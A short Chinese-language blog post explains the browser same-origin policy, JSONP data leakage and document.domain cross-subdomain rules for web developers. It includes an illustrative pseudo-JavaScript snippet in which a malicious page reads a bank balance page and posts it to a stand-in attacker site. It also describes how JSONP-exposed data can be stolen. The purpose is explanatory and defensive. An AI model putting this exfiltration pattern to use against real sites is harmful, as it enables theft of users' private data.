关于浏览器同源策略的几点说明

没有同源策略倒底会怎么样?真的会有问题?
如果用户登录网银,再在同一个浏览器的一个tab里打开一个恶意站点;这个恶意站点页面里包含一段js代码:

var balanceHtml = ajax.get("http://mybank/我的余额.jsp");
ajax.post("http://恶意站点/保存信息.jsp", balanceHtml); 

那么用户的银行余额会轻松地被恶意站点窃取。

有了同源策略, 上面的第一行代码会被浏览器拒绝执行

(严格地说,是会执行,但不会有返回值;所以“/转账给我.jsp”这类操作应该通过csrf token保护起来)

那么通过jsonp跨域,然后再窃取网银余额呢?

恶意站点的<script src="http://mybank/我的余额.jsp">不会执行成功,因为拿到的结果不是合法的JS语句,无法继续执行。

但如果网银服务端以正规jsonp格式暴露了余额数据,那么恶意站点的<script src="http://mybank/我的余额.jsonp"/>最终会变成 callback({"balance":"1000块"})来执行,数据一下子就偷到了。 所以,机密数据不能通过jsonp来暴露。

设置document.domain可以跨子域
1. 要注意的是,设置document.domain时要求两个页面都设置成一模一样的domain. 一个domain.com, 另一个a.domain.com是不行的。

2. 如果a.domain.com的页面想访问b.domain.com的ajax服务,通过设置document.domain这种方式是无效的。因为ajax返回的只是一串json,没地方设置domain. 设置document.domain这种作法更适合于iframe包含的情境。

待续。。。

Leave a Comment

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.